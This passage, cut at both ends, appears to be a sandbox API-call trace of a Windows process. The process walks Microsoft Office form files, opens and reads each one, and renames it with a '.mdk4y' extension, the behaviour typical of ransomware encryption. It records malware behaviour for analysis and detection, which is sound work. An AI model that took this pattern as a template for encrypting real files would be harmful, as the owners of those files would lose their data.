lpFindFileData=0x6c26a8) returned 1 [0212.646] AreFileApisANSI () returned 1 [0212.646] GetACP () returned 0x4e4 [0212.646] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SECURS.ICO", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SECURS.ICO", lpUsedDefaultChar=0x37dec0) returned 10 [0212.646] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.647] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828787700000) returned 1 [0212.647] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828787800000) returned 1 [0212.648] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828787800000) returned 1 [0212.648] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SECURS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\securs.ico.mdk4y")) returned 1 [0212.649] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.649] AreFileApisANSI () returned 1 [0212.649] GetACP () returned 0x4e4 [0212.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SHARING.CFG", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SHARING.CFG", lpUsedDefaultChar=0x37dec0) returned 11 [0212.649] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.650] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828788000000) returned 1 [0212.650] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x303, lpOverlapped=0x0) returned 1 [0212.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828788100000) returned 1 [0212.651] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828788100000) returned 1 [0212.651] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SHARING.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sharing.cfg.mdk4y")) returned 1 [0212.652] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.652] AreFileApisANSI () returned 1 [0212.652] GetACP () returned 0x4e4 [0212.652] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIGN.CFG", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SIGN.CFGCFG", lpUsedDefaultChar=0x37dec0) returned 8 [0212.652] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.653] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828788300000) returned 1 [0212.653] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x298, lpOverlapped=0x0) returned 1 [0212.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828788400000) returned 1 [0212.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828788400000) returned 1 [0212.654] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGN.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\sign.cfg.mdk4y")) returned 1 [0212.663] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.663] AreFileApisANSI () returned 1 [0212.663] GetACP () returned 0x4e4 [0212.663] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIGNL.ICO", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SIGNL.ICOFG", lpUsedDefaultChar=0x37dec0) returned 9 [0212.663] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828789400000) returned 1 [0212.664] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828789500000) returned 1 [0212.665] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828789500000) returned 1 [0212.665] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signl.ico.mdk4y")) returned 1 [0212.666] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.666] AreFileApisANSI () returned 1 [0212.666] GetACP () returned 0x4e4 [0212.666] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SIGNS.ICO", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SIGNS.ICO", lpUsedDefaultChar=0x37dec0) returned 9 [0212.666] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828789700000) returned 1 [0212.667] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828789800000) returned 1 [0212.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828789800000) returned 1 [0212.668] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SIGNS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\signs.ico.mdk4y")) returned 1 [0212.669] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.669] AreFileApisANSI () returned 1 [0212.669] GetACP () returned 0x4e4 [0212.669] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SMIMEE.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SMIMEE.CFGG", lpUsedDefaultChar=0x37dec0) returned 10 [0212.669] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.670] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828790000000) returned 1 [0212.670] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x280, lpOverlapped=0x0) returned 1 [0212.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828790100000) returned 1 [0212.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828790100000) returned 1 [0212.671] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMEE.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimee.cfg.mdk4y")) returned 1 [0212.684] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.684] AreFileApisANSI () returned 1 [0212.684] GetACP () returned 0x4e4 [0212.684] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SMIMES.CFG", cchWideChar=10, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SMIMES.CFG", lpUsedDefaultChar=0x37dec0) returned 10 [0212.685] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.685] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828791500000) returned 1 [0212.685] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x29c, lpOverlapped=0x0) returned 1 [0212.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828791600000) returned 1 [0212.686] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828791600000) returned 1 [0212.687] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMIMES.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smimes.cfg.mdk4y")) returned 1 [0212.692] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.692] AreFileApisANSI () returned 1 [0212.692] GetACP () returned 0x4e4 [0212.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SMSL.ICO", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SMSL.ICOFG", lpUsedDefaultChar=0x37dec0) returned 8 [0212.692] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828792300000) returned 1 [0212.693] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2796, lpOverlapped=0x0) returned 1 [0212.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828792400000) returned 1 [0212.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828792400000) returned 1 [0212.694] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smsl.ico.mdk4y")) returned 1 [0212.696] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.696] AreFileApisANSI () returned 1 [0212.696] GetACP () returned 0x4e4 [0212.696] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SMSS.ICO", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SMSS.ICO", lpUsedDefaultChar=0x37dec0) returned 8 [0212.696] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.696] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828792600000) returned 1 [0212.697] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8be, lpOverlapped=0x0) returned 1 [0212.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828793300000) returned 1 [0212.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828793300000) returned 1 [0212.703] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SMSS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\smss.ico.mdk4y")) returned 1 [0212.704] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.704] AreFileApisANSI () returned 1 [0212.704] GetACP () returned 0x4e4 [0212.704] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TASK.CFG", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TASK.CFG", lpUsedDefaultChar=0x37dec0) returned 8 [0212.705] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828793600000) returned 1 [0212.706] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x300, lpOverlapped=0x0) returned 1 [0212.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828793700000) returned 1 [0212.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828793700000) returned 1 [0212.708] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASK.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\task.cfg.mdk4y")) returned 1 [0212.709] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.709] AreFileApisANSI () returned 1 [0212.709] GetACP () returned 0x4e4 [0212.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TASKACC.CFG", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TASKACC.CFG", lpUsedDefaultChar=0x37dec0) returned 11 [0212.710] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.710] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828794000000) returned 1 [0212.710] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x324, lpOverlapped=0x0) returned 1 [0212.712] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828794200000) returned 1 [0212.712] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828794200000) returned 1 [0212.712] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACC.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskacc.cfg.mdk4y")) returned 1 [0212.714] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.714] AreFileApisANSI () returned 1 [0212.714] GetACP () returned 0x4e4 [0212.714] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TASKACCL.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TASKACCL.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.715] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.715] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828794500000) returned 1 [0212.715] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x436, lpOverlapped=0x0) returned 1 [0212.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828794700000) returned 1 [0212.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828794700000) returned 1 [0212.717] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCL.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccl.ico.mdk4y")) returned 1 [0212.719] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.719] AreFileApisANSI () returned 1 [0212.719] GetACP () returned 0x4e4 [0212.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TASKACCS.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TASKACCS.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.719] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.719] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828794900000) returned 1 [0212.719] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xbb6, lpOverlapped=0x0) returned 1 [0212.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828796000000) returned 1 [0212.730] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828796000000) returned 1 [0212.731] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKACCS.ICO.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskaccs.ico.mdk4y")) returned 1 [0212.732] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.732] AreFileApisANSI () returned 1 [0212.732] GetACP () returned 0x4e4 [0212.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TASKDEC.CFG", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TASKDEC.CFGO", lpUsedDefaultChar=0x37dec0) returned 11 [0212.733] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0212.734] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828796400000) returned 1 [0212.734] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x327, lpOverlapped=0x0) returned 1 [0212.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828796900000) returned 1 [0212.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1828796900000) returned 1 [0212.739] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDEC.CFG.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdec.cfg.mdk4y")) returned 1 [0212.741] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0212.741] AreFileApisANSI () returned 1 [0212.741] GetACP () returned 0x4e4 [0212.741] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TASKDECL.ICO", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="TASKDECL.ICO", lpUsedDefaultChar=0x37dec0) returned 12 [0212.741] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\TASKDECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\taskdecl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 